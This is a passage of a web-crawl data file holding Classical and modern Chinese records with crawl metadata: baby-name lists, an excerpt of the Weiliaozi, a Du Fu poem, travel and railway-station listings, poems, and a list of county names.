刘云","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/santui.tuidang.org\/index\/showpost\/id\/28272533","date":"2022-01-18T06:55:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300805.79\/warc\/CC-MAIN-20220118062411-20220118092411-00606.warc.gz","language":"lzh","language_score":0.4583637118,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.45836371183395386, \"cmn_Hani_score\": 0.3515934944152832, \"nan_Hani_score\": 0.1798541247844696}","num_words":66,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.459,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字僅為在你起名時提供參考,請勿在未做分析的前提下直接使用。\n元晨飛 元上申 元三龍 元耿川 元達豐 元衛 元尹 元虎 元貞順 元七 元小可 元藝達 元荷 元力刀 元太輝 元光七 元月月 元軍浩 元靈通 元羽菲 元炳森 元炳涵 元炳鑫 元劍峰 元劍鋒 元瑞軍 元迪 元李華 元子華 元大呆 元大采 元大賓 元煙灶 元灝宇 元鐸 元哲鵬 元耀 元英新 元鐘 元闖 元潞 元西貝 元浩鈞 元春明 元萬瑞 元萬晟 元方明 元趙東 元成權 元伊麟 元鐘國 元國 元釵俅 元釵蘋 元繪博 元白 元仲 元錦淑 元弘 元涌波 元啟鴻 元日成 元世杰 元冰 元大東 元存金 元曦 元海暇 元海瑕 元海俠 元振虢 元臻虢 元臻國 元吉鐘 元旭 元吉成 元宇峰 元妮 元佑 元哲國 元粟 元賦倫 元昊天 元皓民 元偉章 元用江 元是寧 元字寧 元字仲 元首主 元文賢 元瑞祥 元才人 元惠青 元景秀 元鉦國 元楨國 元鎮國 元貞國 元正國 元慧清 元科捷 元明娣 元柏民 元江縣 元楚君 元中 元熠涵 元沂涵 元漪涵 元銥涵 元懌海 元懌孩 元溢涵 元懌涵 元懌含 元懌晗 元楊 元揚 元銘珊 元松竹 元陽陽 元萬平 元廣杰 元法軍 元原 元宗彪 元淼 元始 元鵬博 元鋒 元文喜 元偉航 元樂 元莎莎 元向敏 元譯萱 元培 元登偉 元軟元 元增亮 元木太 元紅周 元曉華 元小華 元建基 元承權 元頤 元振博 元寶章 元一定 元已 元海芹 元神武 元竹青 元熙 元義淋 元德華 元向前 元唐 元晨 元牡丹 元思桐 元玉今 元一鳴 元淑蘭 元林林 元紹震 元公仆 元曉來 元曉國 元健博 元健哲 元甲戎 元來復 元俊旭 元開 元愛林 元幺采 元海捱 元煜鉉 元萬杰 元載鑫 元淑樺 元淑華 元映丹 元培旨 元屏宇 元曼羽 元淑 元戎海 元益鍇 元風根 元鉞然 元則燃 元炳錕 元寶利 元宏偉 元慕勤 元金鳳 元奎 元貽 元雅 元軍生 元軍升 元運桃 元蘇 元錫山 元卉青 元照捷 元夢吟 元佳吟 元俊納 元則標 元擇標 元澤才 元澤生 元志論 元志倫 元濱 元衛軍 元衛煙 元紹 元真偉 元江濤 元馨夢 元夢欣 元欣 元宇鋒 元永日 元玉曲 元錦添 元味知 元未知 元參觀 元澤標 元澤彪 元葫 元利鴻 元一帆 元德保 元惠宣 元哼 元文曉 元昌辰 元少君 元柔一 元若心 元其佩 元明郁 元奕笑 元國璋 元秀林 元小敬 元寧 元一諾 元周杭 元周淼 元周澎 元志浩 元帛 元詮 元青珍 元國澤 元文勻 元中方 元爽 元華云 元買生 元海云 元藝霖 元慶偉 元子海 元修成 元真希 元真熙 元真暢 元真北 元瑞漓 元瑞珉 元瑞名 元瑞淋 元瑞米 元瑞嬉 元瑞汐 元世希 元瑞希 元瑞熙 元瑞 元瑞露 元瑞星 元瑞應 元瑞陽 元眾燮 元海林 元澤鋒 元子淳 元一弗 元如意 元紫揚","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/www.yizhuanche.cn\/show_A4E.aspx","date":"2022-05-26T12:00:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662604794.68\/warc\/CC-MAIN-20220526100301-20220526130301-00062.warc.gz","language":"lzh","language_score":0.9772936702,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9772936701774597, \"jpn_Jpan_score\": 0.017773529514670372}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.977,"perplexity_score":500.0,"cluster_detection":1} +{"text":"尉繚子\n群書治要卷三十七\n天 官\n梁惠王問尉繚子曰。吾聞黄帝有刑德。可以百戰百勝。其有之乎。尉繚曰。不然。黄帝所謂刑德者。以刑伐之。以德守之。非世之所謂刑德也。世之所謂刑德者。天官時日、陰陽向背者也。黄帝者人事而已矣。何以言之。今有城於此。從其東西攻之。不能取。從其南北攻之不能取。此四者。豈不得順時乘利者哉。然不能取者何。城高池深。兵戰(本書戰作器)備具。謀而守之也。若乃城下池淺守弱。可取也。由(由舊作猶。改之)是觀之。天官時日。不若人事也。\n故按刑德天官之陳曰。背水陳者爲絶地。向坂陳者爲廢軍。武王之伐紂也。背濟水。向山之阪。以萬二千人。擊紂之億有八萬人。斷紂頭懸之白旗。紂豈不得天官之陳哉。然不得勝者何。人事不得也。黄帝曰。先稽己智者。謂之天官。以是觀之。人事而已矣。\n兵 談\n王者民望之如日月。歸之如父母。歸之如流水。故曰明乎禁舍開塞。其取天下若化。故曰。國貧者能富之。地不任者任之。四時不應者能應之。故夫土廣而任。則其國不得無富。民衆而制。則其國不得無治。且富治之國。兵不發刃。甲不出暴。而威服天下矣。故曰。兵勝於朝廷。勝於喪絶(絶疑紀)。勝於土功。勝於市井。暴甲而勝。將勝也。戰而勝。臣勝也。戰再勝當一敗。十萬之師出。費日千金。故百戰百勝。非善之善者也。不戰而勝。善之善者也。\n戰 威\n令所以一衆心也。不審所出。則數變。數變則令雖出。衆不信也。出令之法。雖有小過毋更。小疑毋申。事所以待衆力也。不審所動則數變。數變。則事雖起。衆不安也。動事之法。雖有小過毋更。小難毋戚。故上無疑令。則衆不二聽。動無疑事。則衆不二志。\n古率民者。未有不能得其心。而能得力者也。未有不能得其力。而能致其死者也。故國必有禮信親愛之義。而後民以飢易飽。國必有孝慈廉耻之俗。而後民以死易生。故古率民者。必先禮信而後爵禄。先廉耻而後刑罰。先親愛而後托其身焉。\n民死其上如其親。而後申之以制。古爲戰者。必本氣以厲志。厲志以使四枝。四枝以使五兵。故志不厲則士不死節。士不死節。雖衆不武。厲士之道。民之所以生。不可不厚也。爵列之等。死喪之禮。民之所以營也。不可不顯也。必因民之所生以制之。因其所營以顯之。因其所歸以固之。田禄之實。飲食之糧。親戚同鄉。鄉里相勸,死喪相救。丘墓(丘墓作兵役)相從。民之所以歸。不可不速也。如此。故什伍如親戚。阡陌如朋友。故止如堵墻。動如風雨。車不結軌。士不旋踵。此本戰之道也。\n地。所以養民也。城。所以守地也。戰。所以守城也。故務耕者其民不飢。務守者其地不危。務戰者其城不圍。三者。先王之本務也。而兵最急矣。故先王務尊於兵。尊於兵。其本有五。委積不多。則事不行。賞禄不厚。則民不勸。武士不選。則士不强。備用不便。則士横刑。誅不必。則士不畏。先王務此五者。故静能守其所有。動能成其所欲。\n王國富民。霸國富士。僅存之國富大夫。亡國富倉府。是謂上溢而下漏。故患無所救。故曰舉賢用能。不時日而事利。明法審令。不卜筮而事吉。貴政(政作功。上事作和)養勞。不禱祠而得福。故曰天時不如地利。地利不如人事。聖人所貴。人事而已矣。\n勤勞之事。將必從己先。故暑不立(立作張)蓋。寒不重裘。有登降之險。將必下步。軍井通(通作成)而後飲。軍食熟而後食。壘成而後舍。軍不畢食。亦不火食。飢飽、勞逸、寒暑。必身度之。如此。則師雖久不老。雖老不弊。故軍無損卒。將無惰志。\n兵 令\n兵者、凶器也。戰者、逆德也。争者、事之末也。王者所以伐暴亂而定仁義也。戰國所以立威侵敵也。弱國所以不能廢。\n兵者。以武爲植。以文爲種。以武爲表。以文爲裏。以武爲外。以文爲内。能審此二者。知所以勝敗矣。武者所以凌敵分死生也。文者所以視利害。觀安危。武者所以犯敵也。文者所以守之也。兵用文武也。如響之應聲也。如影之隨身也。\n將有威則生。無威則死。有威則勝。無威則敗。卒有將則鬥。無將則北。有將則死。無將則辱。威者賞罰之謂也。卒畏將(畏將之將下舊無甚字。補之)甚於敵者戰勝。卒畏敵甚於將者戰北。夫戰而知所以勝敗者。固稱將於敵也。敵之與將也。猶權衡也。將之於卒也。非有父母之惻。血膚之屬。六親之私。然而見敵走之如歸。前雖有千仞之溪。不測之淵。見入湯火如蹈者。前見全明之賞。後見必死之刑也。將之能制士卒。其在軍營之内。行陣之間。明慶賞。嚴刑罰。陳斧鉞。飾章旗。有功必賞。犯令必死。及至兩敵相至。行陣薄近。將提枹而鼓之。存亡生死。存枹之端矣。雖有天下善兵者。不能圖大鼓之後矣。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022059.html","date":"2017-04-24T03:32:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00182-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.4521981478,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4521981477737427, \"cmn_Hani_score\": 0.3453972339630127, \"jpn_Jpan_score\": 0.05630350857973099, \"nan_Hani_score\": 0.038856543600559235, \"wuu_Hani_score\": 0.03421971574425697, \"yue_Hani_score\": 0.015399702824652195}","num_words":22,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.452,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓司徒的好聽的女孩名字有哪些呢?名字對人的一生是至關重要的,它在見面之前就已經決定瞭別人對你的第一印象,而且在漫長的人生裡,還無數次地暗示著你自己對未來的判斷,因此給孩子起名,一定要慎重,那姓司徒的女寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓司徒的好聽的女孩名字!\n姓司徒的好聽的女孩名字\n司徒培芳 司徒翌倩 司徒沁悅 司徒書悅 司徒文霞 司徒怡憬 司徒聆霞 司徒秀雅 司徒嘉悅 司徒紫悅 司徒麗紅 司徒乙嫣 司徒怡倩 司徒淑婷 司徒麗花 司徒花 司徒育玉 司徒婉潔 司徒宇梅 司徒他婷 司徒學艷 司徒利花 司徒瑩竹 司徒黎麗 司徒莉麗 司徒秀紅 司徒嫣芝 司徒佩怡 司徒世文 司徒宜萍 司徒悅琴 司徒臻媛 司徒易文 司徒裴 司徒詩娜 司徒翠芳 司徒紫玉 司徒俊怡 司徒愛婷 司徒佳文 司徒匯琴 司徒語嫣 司徒雯潔 司徒朝紅 司徒艷芳 司徒澤婷 司徒金燕 司徒策文 司徒雅燕 司徒碧瑤 司徒倩如 司徒耿蓉 司徒倩儀 司徒文婷 司徒雨琳 司徒秀萍 司徒悅詠 司徒冉 司徒金梅 司徒欣玉 司徒蕊怡 司徒美芳 司徒玲梅 司徒菀怡 司徒根莉 司徒懿婷 司徒闕瑤 司徒侍梅 司徒辛妹 司徒筱琴 司徒珊紅 司徒秀娥 司徒瑛琪 司徒思悅 司徒利娟 司徒如雪 司徒霞 司徒媛琛 司徒騫文 司徒琳珊 司徒笑文 司徒卓瑤 司徒語雪 司徒東文 司徒紫瑛 司徒艷芳 司徒芬壽 司徒詩妍 司徒惜秀 司徒薇婧 司徒姍婧 司徒怡鑫 司徒方英 司徒傢文 司徒賀雪 司徒世莉 司徒艷花 司徒改英 司徒叢英 司徒禦英 司徒玉英 司徒音怡 司徒穎莉 司徒芊琳 司徒丹瑤 司徒廣媛 司徒疆潔 司徒楚琳 司徒譽文 司徒偉萍 司徒麗紅 司徒桂霞 司徒舒媛 司徒蕓艷 司徒婷予 司徒桂娜 司徒錦茹 司徒添玉 司徒新艷 司徒暑蓉 司徒新萍 司徒豫茹 司徒保麗 司徒婉芬 司徒莉 司徒亞美 司徒麗霞 司徒婷飄 司徒怡娉 》》還是沒有找到滿意的名字?不妨問問大師。\n司徒小倩 司徒紅 司徒清瑩 司徒賽娥 司徒松茹 司徒梓秀 司徒妍卉 司徒婭萱 司徒兆婷 司徒子玉 司徒惜婭 司徒玉玲 司徒艷艷 司徒燕靈 司徒銘瑤 司徒越紅 司徒慶娜 司徒嫣靈 司徒幫萍 司徒靈美 司徒倩如 司徒佳媛 司徒開燕 司徒逸茹 司徒思琳 司徒秀馨 司徒寶瑩 司徒憶美 司徒德媛 司徒嫣婕 司徒心秀 司徒芳 司徒粉琴 司徒玨萍 司徒麗萍 司徒智麗 司徒蔓怡 司徒韻玉 司徒星秀 司徒綺倩 司徒紫燕 司徒艷艷 司徒留英 司徒素梅 司徒清梅 司徒瑩嬡 司徒秀 司徒怡安 司徒雅琴 司徒琳絲 司徒思悅 司徒筱潔 司徒一茹 司徒渝玉 司徒佳莉 司徒芬麗 司徒一艷 司徒馥怡 司徒秀英 司徒瑩迎 司徒彩萍 司徒秀文 司徒澈文 司徒乙娟 司徒俊文 司徒春莉 司徒婷 司徒紅麗 司徒宸怡 司徒月瑛 司徒禮文 司徒佳莉 司徒凱文 司徒海玉 司徒馨秀 司徒愈穎 司徒姝瑩 司徒江蓉 司徒綺莉 司徒秀潔 司徒莉欏 司徒傳花 司徒妹利 司徒菁芳 司徒筱芬 司徒翠花 司徒繼英 司徒元琴 司徒曉倩 司徒慧玉 司徒曼玉 司徒瑛玉 司徒占文 司徒心秀 司徒燕璇 司徒翠娟 司徒劍文 司徒玲嶼 司徒暢文 司徒肇文 司徒明琳 司徒金霞 司徒燕嬋 司徒紫穎 司徒晉玉 司徒路瓊 司徒譽娥 司徒晰冉 司徒瑛鱔 司徒婧宇 司徒潔瑩 司徒悅甜 司徒姚琳 司徒淑紅 司徒淑霞 司徒櫻花 司徒虹英 司徒瑪潔 司徒心悅 司徒玲玲 司徒佩麗 司徒益芳 司徒敬潔 司徒雨倩 司徒穎娟 司徒寧麗 司徒利麗 司徒姍玉 司徒莉慧 司徒洪玲 司徒嘉穎 司徒悅馨 司徒錦文 司徒靖芳 司徒熙娜 司徒活萍 司徒志文 司徒鑫玉 司徒佳琳 司徒婧姝 司徒傢悅 司徒麗紅 司徒新嫣 司徒艷花\n司徒海梅 司徒瑤嘉 司徒柳霞 司徒秋紅 司徒曉瑩 司徒浩 司徒新會 司徒芯怡 司徒燕彬 司徒嘉英 司徒錦瑤 司徒娜 司徒怡顏 司徒千紅 司徒夢瑤 司徒歆穎 司徒慧琳 司徒燕哲 司徒麗茹 司徒幼妍 司徒香媛 司徒淑芬 司徒詩娜 司徒吉蓉 司徒怡寶 司徒琳 司徒集芳 司徒沛茹 司徒書玉 司徒秀林 司徒梓嫣 司徒豐婷 司徒玲玲 司徒雅瑤 司徒雲娟 司徒宏怡 司徒倩倩 司徒玉玲 司徒洪穎 司徒雲麗 司徒敬文 司徒藝娥 司徒珂瑩 司徒林妹 司徒鈺瑤 司徒秋麗 司徒姿悅 司徒露瑩 司徒雯麗 司徒韶麗 司徒婭珍 司徒悅強 司徒瑞芳 司徒鳳燕 司徒墻梅 司徒小霞 司徒紫瑤 司徒倩麗 司徒桃琳 司徒冰秀 司徒琴 司徒浩文 司徒柳霞 司徒秀梅 司徒瀅穎 司徒金玲 司徒慧英 司徒蓉萱 司徒妹鳳 司徒錦花 司徒喧秀 司徒靜怡 司徒若秀 司徒恩玲 司徒昊琳 司徒洪娟 司徒婭婷 司徒旎 司徒菀婕 司徒天一 司徒爍泳 司徒竣英 司徒麗 司徒妤萍 司徒來玉 司徒梓怡 司徒梓瑤 司徒彥博 司徒強 司徒李麗 司徒雨潔 司徒慧穎 司徒慧芬 司徒汝潔 司徒悅綺 司徒建琳 司徒婧媛 司徒傢文 司徒亦紅 司徒星英 司徒悅孜 司徒疆萍 司徒一霞 司徒心怡 司徒睿英 司徒潔 司徒心怡 司徒英潔 司徒周燕 司徒巧玲 司徒梓琳 司徒雯穎 司徒密霞 司徒怡焉 司徒靜怡 司徒一娜 司徒飛雪 司徒夏莉 司徒鏵潔 司徒妍鈞 司徒慧娟 司徒傢怡 司徒全婧 司徒依媛 司徒銀芬 司徒藝琳 司徒瑤清 》》還是沒有找到滿意的名字?不妨問問大師。\n司徒(Sī tú)姓源出有二:\n1、出自姬姓,是舜帝的後代。堯帝為炎黃部落首領時,舜為堯的司徒官,執掌和管理土地事務,故又名土司。舜的後代子孫有的以其職官命姓,稱司徒氏。\n2、春秋時,衛國大夫夏丁氏夏戊的兒子期任司徒,其後也稱司徒氏。 司徒是上古官名,相傳堯、舜時已經設置,主管教化民眾和行政事務。夏、商、周時期,朝廷司徒設有司徒官,為六卿之一,稱為地官大司徒,職位相當於宰相。春秋時列國也多設有這個職位,有以官職命氏的,就成為司徒氏。(責任編輯:八字免費算命網)","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/www.share4tw.com\/archives\/285502","date":"2017-07-24T07:05:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549424756.92\/warc\/CC-MAIN-20170724062304-20170724082304-00346.warc.gz","language":"lzh","language_score":0.8860997558,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.8860997557640076, \"cmn_Hani_score\": 0.10647058486938477}","num_words":409,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.196,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.916,"perplexity_score":500.0,"cluster_detection":1} +{"text":"詠懷古跡\n作者:杜甫\n群山萬壑赴荊門,生長明妃尚有村。一去紫臺連朔漠,獨留青塚向黃昏。\n畫圖省識春風面,環珮空歸月夜魂。千載琵琶作胡語,分明怨恨曲中論。","id":"","dump":"CC-MAIN-2017-51","url":"http:\/\/ningfung.org.hk\/19\/page101q.htm","date":"2017-12-18T20:34:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948623785.97\/warc\/CC-MAIN-20171218200208-20171218222208-00775.warc.gz","language":"lzh","language_score":0.5723639727,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.5723639726638794, \"cmn_Hani_score\": 0.2829623222351074, \"yue_Hani_score\": 0.06068345531821251, \"nan_Hani_score\": 0.053924400359392166, \"wuu_Hani_score\": 0.026708779856562614}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.683,"perplexity_score":500.0,"cluster_detection":1} +{"text":"欢迎您访问营口!\n想去0\n去过0\n沈阳旅游指南 大连旅游指南 鞍山旅游指南 抚顺旅游指南 本溪旅游指南 丹东旅游指南 锦州旅游指南 阜新旅游指南 辽阳旅游指南 盘锦旅游指南 铁岭旅游指南 朝阳旅游指南 葫芦岛旅游指南","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/yingkou.cncn.com\/info\/7795\/","date":"2018-05-25T07:20:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794867046.34\/warc\/CC-MAIN-20180525063346-20180525083346-00609.warc.gz","language":"lzh","language_score":0.6718752384,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.6718752384185791, \"cmn_Hani_score\": 0.23956359922885895, \"jpn_Jpan_score\": 0.056386757642030716, \"nan_Hani_score\": 0.014754734002053738, \"yue_Hani_score\": 0.013391595333814621}","num_words":16,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.743,"perplexity_score":500.0,"cluster_detection":1} +{"text":"山东火车站 济南市 济南 济南西 济南东 章丘 商河 青岛市 青岛 青岛北 即墨北 平度 胶州 蓝村 莱西 莱西北 胶州北 沧口 城阳 淄博市 淄博 源迁 南仇 南博山 黑旺 桓台 大昆仑 临淄 淄川 南定 博山 枣庄市 枣庄 枣庄西 滕州 滕州东 枣庄东 东营市 东营南 利津南 东营 烟台市 烟台 莱阳 海阳 桃村 烟台南 牟平 桃村北 海阳北 潍坊市 潍坊 青州市 高密 诸城 昌乐 济宁市 济宁 兖州 曲阜东 邹城 曲阜 梁山 嘉祥 泗水 泰安市 泰山 泰安 磁窑 燕家庄 范镇 上高镇 威海市 荣成 威海 文登东 威海北 乳山 文登 日照市 日照 莒县 五莲 莱芜市 莱芜东 蔺家楼 常庄 司家岭 莱芜西 临沂市 临沂 平邑 费县 莒南 兰陵北 沂南 临沂北 郯城 沂水 坪上 德州市 德州东 陵城 德州 禹城 晏城 平原 临邑 聊城市 聊城 临清 阳谷 滨州市 滨州 阳信 博兴 菏泽市 菏泽 曹县 算王庄 郓城 巨野 东明县 定陶 鄄城 火车时刻表说明 本站火车时刻表数据仅供参考,请以12306网站数据为准。","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/m.388g.com\/huoche\/370000.html","date":"2019-02-23T08:52:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550249495888.71\/warc\/CC-MAIN-20190223082039-20190223104039-00026.warc.gz","language":"lzh","language_score":0.4403522611,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.44035226106643677, \"cmn_Hani_score\": 0.4118766784667969, \"nan_Hani_score\": 0.10502984374761581, \"jpn_Jpan_score\": 0.02956470660865307}","num_words":127,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.292,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.446,"perplexity_score":500.0,"cluster_detection":1} +{"text":"【其一】\n除夜清樽满,寒庭燎火多。\n舞衣连臂拂,醉坐合声歌。\n至乐都忘我,冥心自委和。\n今年只如此,来岁知如何。\n【其二】\n夜风吹醉舞,庭户对酣歌。\n愁逐前年少,欢迎今岁多。\n桃枝堪辟恶,爆竹好惊眠。\n歌舞留今夕,犹言忆旧年。\n系高顼之玄胄兮,氏中叶之炳灵。飖颽风而蝉蜕兮,雄朔野以扬声。皇十纪而鸿渐兮,有羽仪于上京。巨滔天而泯夏兮,考遘愍以行谣。终保己而贻则兮,里上仁之所庐。懿前烈之纯淑兮,穷与达其必济。咨孤蒙之眇眇兮,将圮绝而罔阶。岂余身之足殉兮,违世业之可怀。靖潜处以永思兮,经日月而弥远。匪党人之敢拾兮,庶斯言之不玷。\n魂茕茕与神交兮,精诚发于宵寐。梦登山而迥眺兮,觌幽人之仿彿。揽葛藟而授余兮,眷峻谷曰勿坠。吻昕寤而仰思兮,心蒙蒙犹未察。黄神邈而靡质兮,仪遗谶以臆对。曰乘高而胪神兮,道遐通而不迷。葛绵绵于樛木兮,咏南风以为绥。盖惴惴之临深兮,乃二雅之所祗。既讯尔以吉象兮,又申之以炯戒。盍孟晋以迨群兮,辰倏忽其不再。\n承灵训其虚徐兮,鎶盘桓而且俟。惟天地之无穷兮,鲜生民之晦在。纷屯邅与蹇连兮,何艰多而智寡。上圣迕而后拔兮,虽群黎之所御。昔卫叔之御昆兮,昆为寇而丧予。管弯弧欲毙仇兮,仇作后而成己。变化故而相诡兮,孰云预其终始!雍造怨而先赏兮,丁繇惠而被戮。栗取吊于逌吉兮,王膺庆于所戚。叛回穴其若兹兮,北叟颇识其倚伏。单治里而外凋兮,张修襮而内逼。聿中和为庶几兮,颜与冉又不得。溺招路以从己兮,谓孔氏犹未可。安慆慆而不萉兮,卒陨身乎世祸。游圣门而靡救兮,虽覆醢其何补?固行行其必凶兮,免盗乱为赖道。形气发于根柢兮,柯叶汇而零茂。恐魍魉之责景兮,羌未得其云已。\n黎淳耀于高辛兮,芈强大于南汜。嬴取威于伯仪兮,姜本支乎三趾。既仁得其信然兮,仰天路而同轨。东邻虐而歼仁兮,王合位乎三五。戎女烈而丧孝兮,伯徂归于龙虎。发还师以成命兮,重醉行而自耦。震鳞漦于夏庭兮,匝三正而灭姬。巽羽化于宣宫兮,弥五辟而成灾。道修长而世短兮,夐冥默而不周。胥仍物而鬼诹兮,乃穷宙而达幽。妫巢姜于孺筮兮,旦筭祀于契龟。宣曹兴败于下梦兮,鲁卫名谥于铭谣。妣聆呱而劾石兮,许相理而鞫条。道混成而自然兮,术同原而分流。神先心以定命兮,命随行以消息。斡流迁其不济兮,故遭罹而嬴缩。三栾同于一体兮,虽移易而不忒。洞参差其纷错兮,斯众兆之所惑。周贾荡而贡愤兮,齐死生与祸福。抗爽言以矫情兮,信畏牺而忌鵩。\n所贵圣人至论兮,顺天性而断谊。物有欲而不居兮,亦有恶而不避。守孔约而不贰兮,乃輶德而无累。三仁殊于一致兮,夷惠舛而齐声。木偃息以蕃魏兮,申重茧以存荆。纪焚躬以卫上兮,皓颐志而弗倾。侯草木之区别兮,苟能实其必荣。要没世而不朽兮,乃先民之所程。观天网之纮覆兮,实棐谌而相训。谟先圣之大猷兮,亦邻德而助信。虞韶美而仪凤兮,孔忘味于千载。素文信而厎麟兮,汉宾祚于异代。精通灵而感物兮,神动气而入微。养流睇而猿号兮,李虎发而石开。非精诚其焉通兮,苟无实其孰信?操末技犹必然兮,矧耽躬于道真。登孔昊而上下兮,纬群龙之所经。朝贞观而夕化兮,犹諠己而遗形。若胤彭而偕老兮,诉来哲而通情。\n乱曰:天造草昧,立性命兮。复心弘道,惟圣贤兮。浑元运物,流不处兮。保身遗名,民之表兮。舍生取谊,以道用兮。忧伤夭物,忝莫痛兮。皓尔太素,曷渝色兮。尚越其几,沦神域兮。","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/www.zshici.com\/","date":"2019-04-21T18:23:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578532050.7\/warc\/CC-MAIN-20190421180010-20190421202010-00036.warc.gz","language":"lzh","language_score":0.4679509103,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4679509103298187, \"cmn_Hani_score\": 0.09539589285850525, \"nan_Hani_score\": 0.05326159670948982, \"zxx_Latn_score\": 0.050627149641513824, \"yue_Hani_score\": 0.02702201157808304, \"und_Tang_score\": 0.0232052281498909, \"jpn_Jpan_score\": 0.01700068637728691, \"und_Cyrl_score\": 0.016094645485281944, \"und_Sgnw_score\": 0.014438364654779434, \"und_Nshu_score\": 0.012612211517989635, \"wuu_Hani_score\": 0.012599167414009571, \"und_Yiii_score\": 0.01215189415961504, \"und_Hira_score\": 0.01134257111698389, \"und_Cans_score\": 0.010123700834810734, \"und_Egyp_score\": 0.01009234320372343}","num_words":16,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":0.438,"perplexity_score":500.0,"cluster_detection":1} +{"text":"洗濯设施、家电机设施出产的立异型企业专一于发表日期:2019-05-16 02:11 【返回】\n【县】永靖 临夏 夏河 和政 广河 康乐 临洮 碌曲 玛曲 临潭 卓尼 岷县【县】博罗 惠东 海丰 陆河 惠来 揭西 揭东 潮安 饶平 南澳 丰顺 大埔【县级市】汉川 大冶 武穴 咸宁 赤壁 洪湖 麻城 应城 安陆 广水 随州台甫 邯郸 成安 肥乡 广平 馆陶 曲周 邱县 临西 南和 鸡泽 威县 任县绥阳 正安 湄潭 凤冈 德江 思南 江口 石阡 岑巩 镇远 施秉 余庆 黄平瓮安 龙里 贵定 麻江 台江 三穗 剑河 天柱 锦屏 黎平 榕江 从江 雷山【县】潼南 铜梁 大足 荣昌 璧山 綦江 长命 武隆 丰都 垫江 梁平 忠县杞县 鄢陵 扶沟 太康 柘城 鹿邑 西华 淮阳 郸城 商水 沈丘 上蔡 汝南昂仁 定日 萨嘎 吉隆 聂拉木 班戈 申扎 尼玛 措勤 改则 隆格尔 仲巴【县】呼兰 兰西 肇州 肇源 泰来 龙江 甘南 敷裕 依安 克山 克东 嫩江【地级市】济南 德州 聊城 东营 淄博 潍坊 青岛 烟台 威海 济宁 泰安【地级市】沈阳 盘锦 锦州 葫芦岛 向阳 阜新 铁岭 抚顺 本溪 丹东 辽阳【县级市】句容 丹阳 扬中 金坛 武进 溧阳 宜兴 江阴 张家港 常熟 太仓【县】长安 泾阳 三原 高陵 富平 华县 潼关 大荔 蒲城 白水 澄城 合阳【区】东城区 西城区 崇文区 宣武区 向阳区 海淀区 丰台区 通州区 顺义区 房山区 石景山区 门头沟区【县级市】双城 肇东 安达 讷河 五大连池 北安 海伦 绥化 铁力 阿城【县】新建 南昌 进贤 东乡 余江 金溪 资溪 弋阳 横峰 铅山 上饶 广丰永福 鹿寨 融安 柳城 柳江 象州 武宣 宾客 忻城 马山 上林 武鸣 扶绥【县】郫县 新都 金堂 罗江 安县 北川 平武 青川 剑阁 梓潼 中江 三台温宿 乌什 阿瓦提 阿合奇 柯坪 巴楚 麦盖提 岳普湖 英吉沙 阿克陶 伽师【地级市】南京 镇江 常州 无锡 姑苏 扬州 泰州 南通 盐城 淮阴 宿迁【县】海盐 嘉善 长兴 安吉 德清 绍兴 鄞县 岱山 嵊泗 象山 宁海 三门长丰 霍邱 金寨 肥西 舒城 霍山 庐江 枞阳 岳西 潜山 太湖 怀宁 宿松闻喜 夏县 平陆 万荣 临猗 芮城 盂县 寿阳 平定 昔阳 温顺 左权 榆社桃源 华容 南县 